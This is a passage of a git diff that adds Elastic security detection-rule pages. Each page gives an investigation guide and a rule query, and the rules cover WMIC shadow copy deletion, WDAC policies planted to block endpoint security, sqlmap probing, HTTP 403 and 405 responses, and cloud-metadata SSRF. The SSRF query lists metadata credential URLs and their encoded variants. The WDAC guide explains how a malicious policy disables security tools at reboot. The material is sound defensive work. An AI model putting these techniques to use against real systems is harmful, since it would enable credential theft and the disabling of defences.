"wbadmin.exe", "bcdedit.exe", or "diskshadow.exe" in the case notes. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/audit-process-creation[Windows Process Creation Logs] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + (process.name : "WMIC.exe" or ?process.pe.original_file_name == "wmic.exe") and + process.args : "delete" and process.args : "shadowcopy" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Inhibit System Recovery +** ID: T1490 +** Reference URL: https://attack.mitre.org/techniques/T1490/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Windows Management Instrumentation +** ID: T1047 +** Reference URL: https://attack.mitre.org/techniques/T1047/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-wdac-policy-file-by-an-unusual-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-wdac-policy-file-by-an-unusual-process.asciidoc new file mode 100644 index 0000000000..7ba373b24c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-wdac-policy-file-by-an-unusual-process.asciidoc @@ -0,0 +1,177 @@ +[[prebuilt-rule-8-19-34-wdac-policy-file-by-an-unusual-process]] +=== WDAC Policy File by an Unusual Process + +Identifies the creation of a Windows Defender Application Control (WDAC) policy file by an unusual process. Adversaries may use a specially crafted WDAC policy to restrict the execution of security products. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.file-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/logangoins/Krueger/tree/main +* https://beierle.win/2024-12-20-Weaponizing-WDAC-Killing-the-Dreams-of-EDR/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating WDAC Policy File by an Unusual Process* + + + +*Possible investigation steps* + + +- Does the alert show active WDAC policy placement by a non-servicing writer? + - Focus: `file.path`, `file.extension`, optional rename source `file.Ext.original.path`, writer `process.executable`, and `process.entity_id`. Separate "CodeIntegrity\SiPolicy.p7b" base-policy placement from "CodeIntegrity\CiPolicies\Active\*.cip" activation. + - Implication: escalate when an active WDAC path is written or renamed by anything other than a recognized WDAC or Windows servicing component such as "poqexec.exe"; lower suspicion only when active path, original path when present, and writer align with one recognized WDAC rollout or servicing package. +- Is the writer a recognized deployment component or suspicious execution host? + - Focus: `process.executable`, `process.command_line`, `process.hash.sha256`, `process.code_signature.subject_name`, and `process.code_signature.trusted`. + - Implication: escalate when a script host, LOLBin, remote administration tool, or custom .NET assembly writes the policy, especially from temp, user, or share-backed paths; lower suspicion when the signer, hash, executable path, and command line all match a recognized WDAC deployment component. +- Does the launch chain and user context fit WDAC administration? + - Focus: `process.parent.executable`, `process.parent.command_line`, and `user.id`. + - Implication: escalate when the parent chain suggests in-memory tooling, service-control abuse, remote execution, or an unexpected admin/service identity; lower suspicion when parent context and `user.id` match the same recognized WDAC workflow for this host. +- Was the policy staged, renamed, or rapidly replaced before activation? + - Focus: same-writer file events on `host.id` and `process.entity_id`: `file.path`, optional `file.Ext.original.path`, `file.size`, and `file.Ext.header_bytes` when populated. !{investigate{"description":"","label":"File events for the writer process","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: file telemetry does not decode WDAC policy intent; preserve the written policy artifact for offline review before cleanup. + - Implication: escalate when rename evidence shows the policy moving from a temp, user-writable, or share-backed location into the active Code Integrity path, or when repeated writes suggest last-minute replacement; lower suspicion when file movement stays inside one recognized rollout cache path and preserves the same writer. Missing rename or header detail is unresolved, not benign. +- Was the write followed by reboot preparation or activation behavior? + - Why: Krueger-style WDAC abuse relies on the next boot to make the malicious policy block security tooling, so reboot preparation changes response urgency. + - Focus: later process activity from the writer or its children on `host.id`: `process.name`, `process.executable`, and `process.command_line` for "shutdown.exe", restart tooling, service-control utilities, or custom reboot helpers. !{investigate{"description":"","label":"Process events for the writer process","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} !{investigate{"description":"","label":"Child process events for the writer process","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.parent.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when the writer or parent chain quickly prepares a reboot; absence of a visible reboot helper leaves activation timing unresolved, not benign. +- If local evidence is suspicious or unresolved, does the same writer or host pattern repeat? + - Focus: related alerts for `user.id` and `host.id`, compared against `process.executable`, `process.hash.sha256`, active-policy `file.path`, and any staging `file.Ext.original.path`. + - Hint: review Alerts associated with the user, host, and writer process. !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} !{investigate{"description":"","label":"Alerts associated with the writer process","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"process.executable","queryType":"phrase","value":"{{process.executable}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden scope when the same writer, hash, user, or host pattern repeats across active WDAC placements; keep scope local only when the activity is confined to one host and one bounded change window. +- Based on active placement, writer identity, launch context, staging, reboot behavior, and recurrence, what disposition is supported? + - Implication: escalate on suspicious writer identity, lineage, staging, reboot, or recurrence; close only when active path, writer, lineage, and any observed staging or reboot evidence bind one recognized WDAC rollout or servicing workflow; preserve the policy artifact and escalate when evidence stays mixed or incomplete. + + +*False positive analysis* + + +- WDAC management, servicing, security management, OEM device-control, or endpoint-hardening products can legitimately place active "SiPolicy.p7b" or "*.cip" policies. Confirm writer identity (`process.executable`, `process.hash.sha256`, `process.code_signature.subject_name`), launch context (`process.parent.executable`, `process.parent.command_line`, `user.id`), artifact path (`file.path`, and `file.Ext.original.path` when present), cache location, and reboot behavior all align with the same rollout or product writer. External change records or product inventory can corroborate only after those telemetry anchors align; contradictory identity, lineage, staging, or reboot evidence should not close as benign. +- Bootable media creation, disk imaging, and backup tools (e.g., Rufus, Acronis, Windows Backup Engine) writing to non-system drives or volumes can trigger the rule when copying or restoring Windows installations that include CodeIntegrity policies. Check `file.path` drive letter or volume number against the host's system drive; writes to removable, secondary, or high-numbered volumes do not affect the host's WDAC protection. +- Before creating an exception, require recurrence for the same stable writer identity, signer, parent workflow, `user.id`, `host.id`, and bounded active `file.path`. Avoid exceptions on `file.extension`, `file.name`, or the broad "CodeIntegrity" prefix alone because those conditions would suppress malicious lookalike policies. + + +*Response and remediation* + + +- If confirmed benign, reverse any temporary containment and document the evidence that justified closure: writer identity, parent workflow, `user.id`, `file.path`, staging path, and reboot behavior all pointed to one recognized WDAC rollout or maintenance path. Create an exception only after that bounded pattern recurs. +- If suspicious but unconfirmed, preserve the alert file event, the written "SiPolicy.p7b" or "*.cip" artifact, any rename-source evidence, the writer identity bundle, parent command context, `user.id`, and reboot-command evidence before destructive action. Apply reversible containment first, such as delaying an imminent reboot when operationally safe or temporarily restricting the writer, `user.id`, or management channel that introduced the policy. +- If confirmed malicious, first export the preserved policy artifact and process/file evidence set. Then isolate the host when active policy placement by an unauthorized writer, repeated placement, or reboot preparation makes containment necessary. After evidence export and containment decisions, remove only the malicious WDAC policy artifacts, restore the known-good WDAC state, and review other hosts and users for the same writer, hash, active `file.path`, or staging pattern. +- Post-incident hardening should restrict who can write to active Code Integrity paths, limit management channels that can copy policy files and reboot hosts, require controlled WDAC deployment records, and retain process and file telemetry around "CodeIntegrity" changes. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-11-setup[Sysmon Event ID 11 - File Create] + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "windows" and event.action != "deletion" and + file.extension : ("p7b", "cip") and + file.path : ( + "?:\\Windows\\System32\\CodeIntegrity\\*.p7b", + "?:\\Windows\\System32\\CodeIntegrity\\CiPolicies\\Active\\*.cip", + "\\Device\\HarddiskVolume*\\Windows\\System32\\CodeIntegrity\\*.p7b", + "\\Device\\HarddiskVolume*\\Windows\\System32\\CodeIntegrity\\CiPolicies\\Active\\*.cip" + ) and + not process.executable : ( + "C:\\Windows\\System32\\poqexec.exe", + "\\Device\\HarddiskVolume*\\Windows\\System32\\poqexec.exe", + "?:\\Windows\\WinSxS\\*\\TiWorker.exe", + "?:\\Windows\\System32\\omadmclient.exe" + ) and + /* System / ntoskrnl.exe (PID 4) */ + not process.pid == 4 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-web-application-suspicious-activity-post-request-declined.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-web-application-suspicious-activity-post-request-declined.asciidoc new file mode 100644 index 0000000000..d3e1d95a36 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-web-application-suspicious-activity-post-request-declined.asciidoc @@ -0,0 +1,100 @@ +[[prebuilt-rule-8-19-34-web-application-suspicious-activity-post-request-declined]] +=== Web Application Suspicious Activity: POST Request Declined + +A POST request to a web application returned a 403 response, which indicates the web application declined to process the request because the action requested was not allowed. + +*Rule type*: query + +*Rule indices*: + +* apm-*-transaction* +* traces-apm* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://en.wikipedia.org/wiki/HTTP_403 + +*Tags*: + +* Data Source: APM +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Custom Query (KQL) + +*Version*: 107 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Web Application Suspicious Activity: POST Request Declined* + + +Web applications often use POST requests to handle data submissions securely. However, adversaries may exploit this by attempting unauthorized actions, triggering a 403 error when access is denied. The detection rule identifies such anomalies by flagging POST requests that receive a 403 response, indicating potential misuse or probing attempts, thus aiding in early threat detection. + + +*Possible investigation steps* + + +- Review the source IP address and user agent associated with the POST request to identify any patterns or known malicious actors. +- Examine the URL or endpoint targeted by the POST request to determine if it is a sensitive or restricted resource. +- Check the timestamp of the request to see if it coincides with other suspicious activities or known attack patterns. +- Analyze the frequency and volume of similar 403 POST requests from the same source to assess if this is part of a larger probing or attack attempt. +- Investigate any recent changes or updates to the web application that might have inadvertently triggered legitimate requests to be denied. + + +*False positive analysis* + + +- Legitimate API interactions may trigger 403 responses if the API endpoint is accessed without proper authentication or authorization. Review API access logs to identify and whitelist known applications or users that frequently interact with the API. +- Web application firewalls (WAFs) might block certain POST requests due to predefined security rules, resulting in 403 errors. Analyze WAF logs to determine if specific rules are causing false positives and adjust the ruleset accordingly. +- Automated scripts or bots performing routine tasks might inadvertently trigger 403 responses. Identify these scripts and ensure they are configured with the necessary permissions or exclude their IP addresses from the detection rule. +- User error, such as incorrect form submissions or missing required fields, can lead to 403 responses. Educate users on proper form usage and consider implementing client-side validation to reduce these occurrences. +- Maintenance or configuration changes in the web application might temporarily cause 403 errors. Coordinate with the development or operations team to understand scheduled changes and adjust monitoring rules during these periods. + + +*Response and remediation* + + +- Immediately review the logs associated with the 403 POST requests to identify the source IP addresses and user agents involved. Block any suspicious IP addresses at the firewall or web application firewall (WAF) to prevent further unauthorized attempts. +- Conduct a thorough review of the web application's access control policies and permissions to ensure that they are correctly configured to prevent unauthorized actions. +- Check for any recent changes or updates to the web application that might have inadvertently altered access controls or introduced vulnerabilities, and roll back or patch as necessary. +- Notify the security operations team to monitor for any additional suspicious activity from the identified IP addresses or similar patterns, and escalate to incident response if further malicious activity is detected. +- Implement additional logging and monitoring for POST requests that result in 403 responses to enhance detection capabilities and gather more context for future incidents. +- Review and update the web application firewall (WAF) rules to better detect and block unauthorized POST requests, ensuring that legitimate traffic is not affected. +- If applicable, engage with the development team to conduct a security review of the application code to identify and fix any potential vulnerabilities that could be exploited by attackers. + +==== Rule query + + +[source, js] +---------------------------------- +http.response.status_code:403 and http.request.method:(POST or post) + +---------------------------------- diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-web-application-suspicious-activity-sqlmap-user-agent.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-web-application-suspicious-activity-sqlmap-user-agent.asciidoc new file mode 100644 index 0000000000..6763ac92d0 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-web-application-suspicious-activity-sqlmap-user-agent.asciidoc @@ -0,0 +1,100 @@ +[[prebuilt-rule-8-19-34-web-application-suspicious-activity-sqlmap-user-agent]] +=== Web Application Suspicious Activity: sqlmap User Agent + +This is an example of how to detect an unwanted web client user agent. This search matches the user agent for sqlmap 1.3.11, which is a popular FOSS tool for testing web applications for SQL injection vulnerabilities. + +*Rule type*: query + +*Rule indices*: + +* apm-*-transaction* +* traces-apm* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* http://sqlmap.org/ + +*Tags*: + +* Data Source: APM +* Resources: Investigation Guide +* Noise: Low +* Performance: Fast +* Rule Type: Custom Query (KQL) + +*Version*: 106 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Web Application Suspicious Activity: sqlmap User Agent* + + +Sqlmap is a widely-used open-source tool designed to automate the detection and exploitation of SQL injection vulnerabilities in web applications. Adversaries may exploit sqlmap to extract sensitive data or manipulate databases. The detection rule identifies suspicious activity by monitoring for specific user agent strings associated with sqlmap, flagging potential unauthorized testing or attacks on web applications. + + +*Possible investigation steps* + + +- Review the logs to identify the source IP address associated with the user agent string "sqlmap/1.3.11#stable (http://sqlmap.org)" to determine the origin of the suspicious activity. +- Check for any other user agent strings or unusual activity from the same IP address to assess if there are additional signs of probing or attacks. +- Investigate the targeted web application endpoints to understand which parts of the application were accessed and if any SQL injection attempts were successful. +- Correlate the timestamp of the detected activity with other security logs or alerts to identify any concurrent suspicious activities or anomalies. +- Assess the potential impact by reviewing database logs or application logs for any unauthorized data access or modifications during the time of the detected activity. +- Consider blocking or monitoring the identified IP address to prevent further unauthorized access attempts, if deemed malicious. + + +*False positive analysis* + + +- Development and testing environments may use sqlmap for legitimate security testing. To handle this, create exceptions for known IP addresses or user agents associated with internal security teams. +- Automated security scanners or vulnerability assessment tools might mimic sqlmap's user agent for testing purposes. Identify and whitelist these tools to prevent unnecessary alerts. +- Some web application firewalls or intrusion detection systems may simulate sqlmap activity to test their own detection capabilities. Coordinate with your security infrastructure team to recognize and exclude these activities. +- Educational institutions or training environments might use sqlmap for teaching purposes. Establish a list of authorized users or networks to exclude from alerts. +- Ensure that any third-party security service providers are recognized and their activities are documented to avoid misidentification as threats. + + +*Response and remediation* + + +- Immediately block the IP address associated with the sqlmap user agent activity to prevent further unauthorized access attempts. +- Review and analyze web server logs to identify any additional suspicious activity or patterns that may indicate further exploitation attempts. +- Conduct a thorough assessment of the affected web application to identify and patch any SQL injection vulnerabilities that may have been exploited. +- Reset credentials and enforce strong password policies for any database accounts that may have been compromised. +- Implement web application firewall (WAF) rules to detect and block SQL injection attempts, including those using sqlmap. +- Notify the security operations team and relevant stakeholders about the incident for awareness and further investigation. +- Document the incident details and response actions taken for future reference and to enhance incident response procedures. + +==== Rule query + + +[source, js] +---------------------------------- +user_agent.original:"sqlmap/1.3.11#stable (http://sqlmap.org)" + +---------------------------------- diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-web-application-suspicious-activity-unauthorized-method.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-web-application-suspicious-activity-unauthorized-method.asciidoc new file mode 100644 index 0000000000..f08b61338d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-web-application-suspicious-activity-unauthorized-method.asciidoc @@ -0,0 +1,100 @@ +[[prebuilt-rule-8-19-34-web-application-suspicious-activity-unauthorized-method]] +=== Web Application Suspicious Activity: Unauthorized Method + +A request to a web application returned a 405 response, which indicates the web application declined to process the request because the HTTP method is not allowed for the resource. + +*Rule type*: query + +*Rule indices*: + +* apm-*-transaction* +* traces-apm* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://en.wikipedia.org/wiki/HTTP_405 + +*Tags*: + +* Data Source: APM +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Custom Query (KQL) + +*Version*: 107 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Web Application Suspicious Activity: Unauthorized Method* + + +Web applications often restrict HTTP methods to protect resources, allowing only specific actions like GET or POST. Adversaries may exploit misconfigurations by attempting unauthorized methods, potentially revealing vulnerabilities or sensitive data. The detection rule identifies such attempts by flagging HTTP 405 responses, indicating a method is not permitted, thus highlighting potential misuse or probing activities. + + +*Possible investigation steps* + + +- Review the web server logs to identify the source IP address associated with the HTTP 405 response to determine if the request originated from a known or suspicious source. +- Analyze the request headers and payload associated with the 405 response to understand what unauthorized method was attempted and if there are any patterns or anomalies. +- Check the application configuration to verify which HTTP methods are allowed for the resource in question and assess if there are any misconfigurations that could be exploited. +- Investigate if there are multiple 405 responses from the same source IP or user agent, which could indicate probing or automated scanning activity. +- Correlate the 405 response events with other security alerts or logs to identify any related suspicious activities or potential attack vectors. + + +*False positive analysis* + + +- Routine API calls using unsupported methods may trigger 405 responses. Review API documentation to ensure correct methods are used and adjust monitoring to exclude these known patterns. +- Automated tools or scripts might inadvertently use incorrect HTTP methods, leading to false positives. Identify and update these tools to use appropriate methods, or whitelist their IP addresses if they are known and trusted. +- Web crawlers or bots might attempt unsupported methods as part of their scanning process. Configure your monitoring system to recognize and exclude these benign activities based on user-agent strings or IP ranges. +- Development and testing environments often experiment with various HTTP methods, resulting in 405 responses. Implement rules to exclude these environments from production monitoring to reduce noise. +- Legacy systems or applications might not support certain HTTP methods, causing frequent 405 errors. Document these systems and create exceptions in your monitoring to prevent unnecessary alerts. + + +*Response and remediation* + + +- Immediately review the web server and application logs to identify the source IP address and user agent associated with the 405 response. Block the IP address if it is determined to be malicious or part of a known attack pattern. +- Conduct a security assessment of the web application's configuration to ensure that only necessary HTTP methods are enabled for each resource. Disable any methods that are not required for the application's functionality. +- Implement or update web application firewall (WAF) rules to block unauthorized HTTP methods and monitor for repeated attempts from the same source. +- Notify the security operations team to monitor for any additional suspicious activity from the identified source or similar patterns, and escalate to incident response if further malicious activity is detected. +- Review and update the application's security policies and access controls to ensure they align with best practices and prevent unauthorized method usage. +- Conduct a vulnerability assessment of the web application to identify and remediate any potential security weaknesses that could be exploited by unauthorized HTTP methods. +- Document the incident, including the response actions taken, and update the incident response plan to improve future detection and response capabilities for similar threats. + +==== Rule query + + +[source, js] +---------------------------------- +http.response.status_code:405 and http.request.method:(* and not (GET or HEAD or OPTIONS or POST)) + +---------------------------------- diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-web-server-cloud-metadata-ssrf-request.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-web-server-cloud-metadata-ssrf-request.asciidoc new file mode 100644 index 0000000000..da74415f5c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-web-server-cloud-metadata-ssrf-request.asciidoc @@ -0,0 +1,173 @@ +[[prebuilt-rule-8-19-34-web-server-cloud-metadata-ssrf-request]] +=== Web Server Cloud Metadata SSRF Request + +Detects HTTP requests to web servers whose URL or query string references cloud instance metadata endpoints or equivalent encoded variants. Attackers exploit server-side request forgery (SSRF) vulnerabilities in web applications to reach link-local metadata services on AWS, GCP, Azure, and similar cloud providers and harvest temporary credentials, tokens, or instance details. + +*Rule type*: eql + +*Rule indices*: + +* logs-nginx.access-* +* logs-apache.access-* +* logs-apache_tomcat.access-* +* logs-iis.access-* +* logs-traefik.access-* +* logs-zeek.http-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://hackingthe.cloud/aws/general-knowledge/intro_metadata_service/ +* https://owasp.org/www-community/attacks/Server_Side_Request_Forgery + +*Tags*: + +* Domain: Web +* Domain: Cloud +* Domain: Network +* Use Case: Threat Detection +* Tactic: Credential Access +* Tactic: Initial Access +* Data Source: Nginx +* Data Source: Apache +* Data Source: Apache Tomcat +* Data Source: IIS +* Data Source: Traefik +* Data Source: Zeek +* Resources: Investigation Guide +* Noise: High +* Performance: Fast +* Profile: Aggressive +* Threat: Web Application Attack +* Threat: IMDS Credential Theft +* Rule Type: Event Correlation (EQL) +* Service: Nginx +* Service: IIS +* Service: Apache Tomcat +* Service: Apache HTTP Server + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Web Server Cloud Metadata SSRF Request* + + +This alert flags inbound HTTP requests to a web server whose `url.original` or `url.query` contains cloud instance +metadata addresses, hostnames, or credential paths. A common attacker pattern is exploiting an SSRF vulnerability so +the application fetches `http://169.254.169.254/latest/meta-data/iam/security-credentials/` or equivalent GCP and Azure +metadata routes, then reuses the returned role credentials against cloud APIs. + + +*Possible investigation steps* + + +- Review `url.original`, `url.query`, `http.request.method`, `http.response.status_code`, and `source.ip` to identify + the injected metadata target, affected route, and whether the server returned a successful response. +- URL-decode the request repeatedly and inspect parameters for nested encodings, redirect chains, or wrapper URLs that + hide the metadata destination. +- Map the targeted endpoint to the backend handler and determine whether user-controlled input can influence outbound + HTTP requests from the application. +- Correlate with application, proxy, and outbound network logs around `@timestamp` for connections from the web server + process to `169.254.169.254`, `100.100.100.200`, `metadata.google.internal`, or Azure metadata hosts. +- Check cloud audit, sign-in, or token-issuance telemetry for use of instance role or managed identity credentials + shortly after the request. +- Pivot on `source.ip` and `user_agent.original` for related SSRF, scanning, or exploitation attempts across other web + hosts. + + +*False positive analysis* + + +- Security scanners, authorized penetration tests, or WAF validation may send metadata URLs in test payloads. Confirm the + activity aligns with an approved assessment window and source before closing as benign. +- Internal documentation, error pages, or security training content that echoes metadata URLs in query strings can + trigger the rule without an exploitable SSRF path. Verify the application does not perform outbound fetches based on + the matched input. + + +*Response and remediation* + + +- Block the offending `source.ip` at the WAF or reverse proxy and add virtual patches to reject requests containing + metadata addresses or credential paths. +- If exploitation is confirmed, isolate the affected application host, preserve access logs, and rotate any cloud role + or managed identity credentials that may have been exposed. +- Patch or remediate the SSRF vulnerability by enforcing strict outbound allowlists, blocking link-local and metadata + destinations, and validating user-supplied URLs. +- Enforce IMDSv2, hop limits, and least-privilege instance roles to reduce impact if metadata access succeeds. + + +==== Rule query + + +[source, js] +---------------------------------- +web where ( + url.original : ( + "*169.254.169.254*", "*169%2e254%2e169%2e254*", "*0xa9fea9fe*", "*0xa9.0xfe.0xa9.0xfe*", + "*2852039166*", "*0251.0376.0251.0376*", "*::ffff:169.254.169.254*", "*::ffff:a9fe:a9fe*", "*fd00:ec2::254*", + "*100.100.100.200*", "*169.254.170.2*", "*metadata.google.internal*", "*metadata.goog*", "*computeMetadata/v1*", + "*meta-data/iam/security-credentials*", "*meta-data%2Fiam%2Fsecurity-credentials*", + "*latest/meta-data*", "*latest/api/token*" + ) + or + url.query : ( + "*169.254.169.254*", "*169%2e254%2e169%2e254*", "*0xa9fea9fe*", "*0xa9.0xfe.0xa9.0xfe*", + "*2852039166*", "*0251.0376.0251.0376*", "*::ffff:169.254.169.254*", "*::ffff:a9fe:a9fe*", "*fd00:ec2::254*", + "*100.100.100.200*", "*169.254.170.2*", "*metadata.google.internal*", "*metadata.goog*", "*computeMetadata/v1*", + "*meta-data/iam/security-credentials*", "*meta-data%2Fiam%2Fsecurity-credentials*", + "*latest/meta-data*", "*latest/api/token*" + ) +) and source.as.number != 396982 +and not ( + user_agent.original : ("*ChatGPT-User*", "*GPTBot*", "*ClaudeBot*", "*anthropic-ai*", "*OAI-SearchBot*", "*perplexity.ai*", "*claude-searchbot*", "*anthropic.com*", "*google.com/bot.html*", "*TelegramBot*", "*openai.com/searchbot*", "*LinkedInBot*", "*x.ai/grokbot*", "*Discordbot*", "*Amazonbot*", "*amazonbot*", "*Applebot*", "*Slackbot*", "*Twitterbot*", "*Bytespider*") + and http.response.status_code in (401, 403, 404, 429) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Cloud Instance Metadata API +** ID: T1552.005 +** Reference URL: https://attack.mitre.org/techniques/T1552/005/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ diff --git 